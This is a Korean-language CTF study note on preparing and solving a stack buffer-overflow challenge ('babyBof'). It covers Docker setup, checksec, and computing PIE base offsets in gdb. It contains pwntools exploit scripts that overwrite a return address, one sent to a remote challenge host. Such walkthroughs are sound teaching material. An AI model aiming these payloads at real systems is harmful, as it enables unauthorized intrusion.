# 시스템 문제 풀이 준비 ## 문제 서버 환경(Docker) 구성하기 **1. 도커 이미지 생성** 배포된 파일에서 `build.sh` 확인 ``` #!/bin/bash docker rm -f babybof docker rmi -f babybof docker build -t babybof . docker run -d --name babybof babybof tail -f /dev/null docker rm -f babybof ``` 위 내용 중, 최상단 `#!/bin/bash` 를 제외한 나머지를 전부 복사한 후 ``` C:\Users\MAIN\Desktop\Challenges\babyBof 디렉터리 2025-07-23 오전 09:05 <DIR> . 2025-07-23 오전 09:05 <DIR> .. 2025-07-23 오전 09:05 14,472 babyBof 2025-07-23 오전 09:05 160 build.sh 2025-07-23 오전 09:05 181 Dockerfile 2025-07-23 오전 09:05 23 flag 2025-07-23 오전 09:05 249 Makefile 2025-07-23 오전 09:05 72 README.md 2025-07-23 오전 09:05 122 run.sh 2025-07-23 오전 09:05 <DIR> src 2025-07-23 오전 09:05 103 start.sh 8개 파일 15,382 바이트 3개 디렉터리 1,293,758,836,736 바이트 남음 ``` `Dockerfile` 파일이 존재하는 위치에서 명령어 붙여넣기. **(호스트가 인터넷에 연결되어 있어야 하며, Docker Desktop 프로그램이 실행중이야 함)** **2. 도커 이미지 실행(컨테이너 생성)** `run.sh` 파일 확인 ``` #!/bin/bash docker rm -f babybof docker run -d -p 3333:3333 --name babybof --restart unless-stopped --privileged babybof ``` 이전 단계와 마찬가지로, `!#/bin/bash` 를 제외한 아래 내용을 전부 복사한 후 명령 프롬프트에서 실행 이 때, `-p xxxx:3333` 에 해당하는 포트가 해당 컨테이너가 열게 될 포트임. 해당 과정까지 완료된 경우 **호스트** 환경에서 해당 문제 서버가 실행되게 된다. **3. 연결 확인** **가상머신** 에서 실행!! ``` nc [호스트 아이피] [문제 포트] ``` 프로그램의 입출력이 확인된다면 정상적으로 구성된 것. ## 문제 분석 환경 구성하기 **1. 배포된 파일 중 실행 파일을 가상머신 내부로 복사** ``` scp [파일] user@[가상머신IP]:~/Desktop ``` 윈도우에서는 분석을 할 수 없기 때문! ``` C:\Users\MAIN\Desktop\Challenges\babyBof>scp babyBof user@192.168.147.138:~/Desktop ``` 위와 같은 명령어를 통해 호스트의 파일을 가상머신 내부로 복사해준다. **2. 복사된 파일 실행 확인** ``` user@user-virtual-machine:~/Desktop$ ./babyBof bash: ./babyBof: Permission denied ``` **가상머신 내**에서, 복사된 파일 실행 시 정상적으로 실행되지 않고 위와 같이 에러가 뜬다면? ``` user@user-virtual-machine:~/Desktop$ chmod u+x babyBof ``` 실행 권한이 없기 때문이므로, 실행권한 부여 **3. 분석 및 페이로드 작성** 가상 머신 내부로 문제 파일이 복사됐다면, 기존의 실습과 동일하게 수행하면 됨 **소스코드가 제공됐다면, 소스코드를 바탕으로 분석을 수행하고, 없으면 Binary ninja..** ``` gdb -q babyBof ``` 와 같이 디버거를 붙여서 분석할 수도 있고, ```python= from pwn import * p = process("./babyBof") print(p.recv(1024)) gdb.attach(p) payload = b"A" * 520 payload += p64(0x00000000004011dd) p.send(payload) print(p.recv(1024)) pause() ``` 파이썬 스크립트를 통해 페이로드 테스트를 수행할 수 있음. 이렇게 가상머신 내부의 프로그램으로 익스플로잇을 수행하다가, 플래그를 읽을 수 있으면 ```python= from pwn import * p = remote("host_ip", 3333); # 원격지 프로그램에 연결 print(p.recv(1024)) # gdb.attach(p) // 원격지의 프로그램엔 디버거를 사용할 수 없겠죠? payload = b"A" * 520 payload += p64(0x00000000004011dd) p.send(payload) print(p.recv(1024)) ``` 위와 같이, 페이로드 부분은 그대로 두고 연결 부분만 수정하면 됨. ``` p = process("./babyBof") ``` 위 함수는 로컬 환경에서 프로그램을 실행한 후 연결하는 것이고, ``` p = remote("host_ip", 3333); ``` 위 함수는 ip와 port를 통해 데이터를 주고 받게 함 ## 바이너리에 걸린 보호기법 확인하는 법 ``` user@user-virtual-machine:~/Desktop$ gdb -q babyBof Reading symbols from babyBof... (No debugging symbols found in babyBof) gdb-peda$ checksec CANARY : disabled # 카나리 비활성화 FORTIFY : disabled NX : ENABLED # 스택에 실행 권한 없음 PIE : ENABLED # PIE 활성화 RELRO : FULL # FULL-RELRO ``` ## 심볼이 없는데 어떻게 분석할까? **PIE**가 걸려있지 않다면, **Binary Ninja**를 통해 주소를 확인하여 breakpoint를 생성할 수 있음. ``` b *0x40402c ``` 당황하지 않고, Binary Ninja를 통해 함수 주소를 획득한 후 `x/10i 0x40402c` 와 같은 명령어를 통해 Disassemble 하며 분석 수행 ## PIE가 걸려진 프로그램은 어떻게 분석? PIE는 프로그램의 **베이스 주소**가 랜덤하게 배치되는 메모리 보호기법! **실행 이후 베이스 주소가 결정**되게 됨. 그러므로, 일단 실행 ``` user@user-virtual-machine:~/Desktop$ gdb -q babyBof Reading symbols from babyBof... (No debugging symbols found in babyBof) gdb-peda$ r Starting program: /home/user/Desktop/babyBof [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Enter > ``` 디버거를 통해 프로그램이 실행된 상태에서 `Ctrl-C` 인터럽트를 통해 프로세스가 멈추면, `vmmap` 명령어 실행 ``` gdb-peda$ vmmap Start End Perm Name 0x0000555555554000 0x0000555555555000 r--p /home/user/Desktop/babyBof 0x0000555555555000 0x0000555555556000 r-xp /home/user/Desktop/babyBof 0x0000555555556000 0x0000555555557000 r--p /home/user/Desktop/babyBof 0x0000555555557000 0x0000555555558000 r--p /home/user/Desktop/babyBof 0x0000555555558000 0x0000555555559000 rw-p /home/user/Desktop/babyBof ... ``` **0x0000555555554000** 이 해당 프로그램의 **베이스 주소**가 된다. Binary ninja는 기본 프로그램 베이스로 **0x400000** 을 사용하기 때문에, ``` 00401336 ssize_t sub_401336() 00401336 { 00401336 int64_t var_58; 00401342 __builtin_memset(&var_58, 0, 0x40); 004013af read(open("./flag", 0), &var_58, 0x40); 004013cc return write(1, &var_58, 0x40); 00401336 } ``` Binary ninja에서 위와 같은 함수를 봤을 경우, `0x401336 - 0x400000 = 0x1336` 이 해당 함수의 오프셋이 됨 그럼 현재 실행중인 프로세스에서, `0x0000555555554000 + 0x1336 = 0x0000555555555336`이 실제 함수 주소임 ``` x/10i 0x0000555555555336 ``` ``` b *0x0000555555555336 ``` 와 같이 접근할 수 있음. **전역 변수**도 동일 사실.. Binary Ninja가 기본 베이스로 **0x400000**을 사용하는 것과 같이 gdb는 **0x0000555555554000**을 기본 베이스로 사용해서, 디버거를 통해 프로그램이 실행될 경우에는 주소가 사실상 고정 ``` from pwn import * p = remote('v1.melango.me', 9877) #p = process("./sample" p.recv(1024) payload = b'' payload += b'A' * 0xa8 payload += p64(0x401303) p.send(payload) p.interactive() ```